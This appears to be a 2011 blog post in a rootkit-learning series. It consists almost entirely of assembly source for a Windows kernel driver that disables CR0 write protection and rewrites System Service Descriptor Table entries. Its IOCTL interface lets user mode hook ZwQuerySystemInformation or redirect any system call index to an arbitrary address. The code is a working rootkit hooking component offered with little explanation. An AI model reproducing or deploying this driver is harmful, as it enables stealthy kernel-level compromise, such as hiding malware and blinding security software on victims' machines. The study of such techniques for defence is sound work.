Sunday, October 9, 2011

Learn and study Rootkit Specials 7: kernel hook - SSDT hook(3)

;**************************************************************************
; Give a index value and function address, Modify ssdt table
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword
 
  mov  ecx, Index
  mov  eax, KeServiceDescriptorTable
  cmp  ecx, [eax+8]  ;NumberOfService
  jb  @f
  xor  al, al
  jmp  Quit
 
@@:
    ;Put off write-protect
  push  eax
  mov  eax, cr0
  and  eax, 0FFFEFFFFh
  mov  cr0, eax
  pop  eax
 
  mov  eax, KeServiceDescriptorTable
  mov  eax, [eax]
  mov  edx, Value; Value
  lea  ecx, [eax+ecx*4] ; Target
  call  InterlockedExchange
 
  ;Recover write-protect
  push  eax
  mov  eax, cr0
  or  eax, 10000h
  mov  cr0, eax
  pop  eax
 
Quit:
  ret
HookSSDTByFunIndex endp

;**************************************************************************
; hook ZwQuerySystemInfomation,Replace with NtQuerySystemInformation, return original value
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
  push  eax
  ;Put off write-protect
  mov  eax, cr0
  and  eax, 0FFFEFFFFh
  mov  cr0, eax 
  pop  eax
 
  mov  ecx, KeServiceDescriptorTable
  mov  eax, FunAddr
  mov  eax, [eax+1] ;Through ZwQuerySystemInfomation get ssdt index
  mov  ecx, [ecx]   ;ServiceTableBase
  mov  edx, Value   ; Value
  lea  ecx, [ecx+eax*4] ; Target
  call  InterlockedExchange
  mov  ecx, eax
  push  eax
 
  ;recover write-protect
  mov  eax, cr0
  or  eax, 10000h
  mov  cr0, eax
 
  pop  eax
  mov  eax, ecx
  ret
HookSSDT endp


SourceString wchar L(<\\DosDevices\\Swk0217\0>)


swkUnLoad proc pDriverObject :dword
  LOCAL DestinationString:UNICODE_STRING

  push  ecx
  push  ecx
  push  offset SourceString ; SourceString
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitUnicodeString
  lea  eax, DestinationString
  push  eax    ; SymbolicLinkName
  call  IoDeleteSymbolicLink
  mov  eax, pDriverObject
  push  dword ptr [eax+4] ; DeviceObject
  call  IoDeleteDevice
 
  ret
swkUnLoad endp

aNtquerysystemi  db 'NtQuerySystemInformation',0

DispatchFunction:
  push  esi              
  mov  esi, [esp+0Ch]   ;pIrp
  mov  eax, [esi+60h]   ;Take IRP.CurrentStackLocation
 
  and  dword ptr [esi+18h], 0 ;IRP中的IoStatus zero setting,see ntddk.inc
  and  dword ptr [esi+1Ch], 0
 
  cmp  byte ptr [eax],  0Eh  ;IO_STACK_LOCATION.MajorFunction
  mov  edx, [esi+0Ch]       ;IRP.AssociatedIrp.SystemBuffer
  mov  ecx, [eax+8]         ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
  push  edi
  jnz  CreateAndClose
  mov  eax, [eax+0Ch]       ;IoControlCode
  cmp  eax, 83471060h      
  jz  GetSSDTNum           ;Take out ssdt function count
  cmp  eax, 83471064h
  jz  GetSSDTFunction      ;Take out ssdt function table
  cmp  eax, 83471068h
  jz  HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
  cmp  eax, 8347106Ch
  jz  RestoreHookSSDT      ;Recover front hook ZwQuerySystemInformation
  cmp  eax, 83471070h
  jz  ModifySSDTByFunIndex ;in line with user given function address and ssdt table index, modify ssdt table
  mov  dword ptr [esi+18h], 0C000000Dh  ;IoStatus
  jmp  CreateAndClose
 
ModifySSDTByFunIndex:
  push  8
  pop  edi
  cmp  ecx, edi  ;Judge InputBufferLength whether equal to 8
  jnz  CreateAndClose
  push  dword ptr [edx+4] ;The second dword value on SystemBuffer,represent a ssdt table index
  push  dword ptr [edx]   ;;The first dword value on SystemBuffer,represent given function address
  call  HookSSDTByFunIndex
  test  al, al
  jz  CreateAndClose
  mov  [esi+1Ch], edi
  jmp  CreateAndClose
 
RestoreHookSSDT:  ;Recover ssdt table
  mov  eax, OldSSDTValueOfZwQuerySystemInformation
  test  eax, eax
  jz  CreateAndClose
  mov  ecx, ZwQuerySystemInformation
  cmp  eax, ecx
  jz  HaveDone
  push  ecx
  push  eax
  call  HookSSDT
 
HaveDone:
  and  OldSSDTValueOfZwQuerySystemInformation, 0
  jmp  CreateAndClose
 
HookZwQuerySystemInformation:
  call  near ptr FunctionArray+0Eh  ;execute  push 24h, through ZwQuerySystemInformation takce out ntoskrnl.exe memory load address
  test  eax, eax
  jz  CreateAndClose
  push  offset aNtquerysystemi     ; "NtQuerySystemInformation"
  push  eax
  call  GetProcessFromNtoskrnl
  mov  ecx, ZwQuerySystemInformation
  cmp  eax, ecx
  jz  CreateAndClose
  push  ecx
  push  eax
  call  HookSSDT
  mov  OldSSDTValueOfZwQuerySystemInformation, eax ;Save function address of original ssdt table
  jmp  CreateAndClose
 
GetSSDTFunction:
  mov  eax, KeServiceDescriptorTable
  mov  edi, [eax+8] ;NumberOfService
  push  ebx
  mov  ebx, edi
  shl  ebx, 2       ;NumberOfService*4
  cmp  ecx, ebx     ;Compare import length with NumberOfService*4,Judge apply for buffer whether enough
  pop  ebx
  jb  CreateAndClose
  xor  ecx, ecx
  test  edi, edi
  jbe  GetSSDTFunctionErr
 
GetNextSSDTFunction:
  mov  eax, [eax]
  mov  eax, [eax+ecx*4]
  mov  [edx+ecx*4], eax
  mov  eax, KeServiceDescriptorTable
  inc  ecx
  cmp  ecx, [eax+8]
  jb  GetNextSSDTFunction
 
GetSSDTFunctionErr:
  mov  eax, [eax+8]
  shl  eax, 2
  jmp  Quit
 
GetSSDTNum:
  push  4
  pop  eax
  cmp  ecx, eax ;input length <4 jump
  jb  CreateAndClose
  mov  ecx, KeServiceDescriptorTable
  mov  ecx, [ecx+8] ;NumberOfService
  mov  [edx], ecx  ;edx point IRP.AssociatedIrp.SystemBuffer
 
Quit:
  mov  [esi+1Ch], eax
 
CreateAndClose:
  mov  edi, [esi+18h] ;IoStatus
  xor  dl, dl
  mov  ecx, esi
  call  IofCompleteRequest
  mov  eax, edi
  pop  edi
  pop  esi
  ret


wcharDeviceName wchar L(<\\Device\\Swk0217\0>)
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>)


start proc DriverObject:dword
  LOCAL SymbolicLinkName:UNICODE_STRING
  LOCAL DestinationString:UNICODE_STRING
  LOCAL DeviceObject:dword
 
  and  DeviceObject, 0
  push  esi
  push  edi
  mov  edi, RtlInitUnicodeString
  push  offset wcharDeviceName ; SourceString
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  edi             ; RtlInitUnicodeString
  mov  esi, DriverObject
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  push  0    ; Exclusive
  push  0    ; DeviceCharacteristics
  push  598347h    ; DeviceType
  lea  eax, DestinationString
  push  eax    ; DeviceName
  push  0    ; DeviceExtensionSize
  push  esi    ; DriverObject
  call  IoCreateDevice
  test  eax, eax
  jl  @f
  push  offset wcharSymbolicLink ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  edi ; RtlInitUnicodeString
  lea  eax, DestinationString
  push  eax    ; DeviceName
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoCreateSymbolicLink
  mov  ecx, offset DispatchFunction
  mov  [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
  mov  [esi+40h], ecx ;IRP_MJ_CLOSE
  mov  [esi+38h], ecx ;IRP_MJ_CREATE
  mov  dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
 
@@:
  pop  edi
  pop  esi
  ret
start endp


end start

No comments:

Post a Comment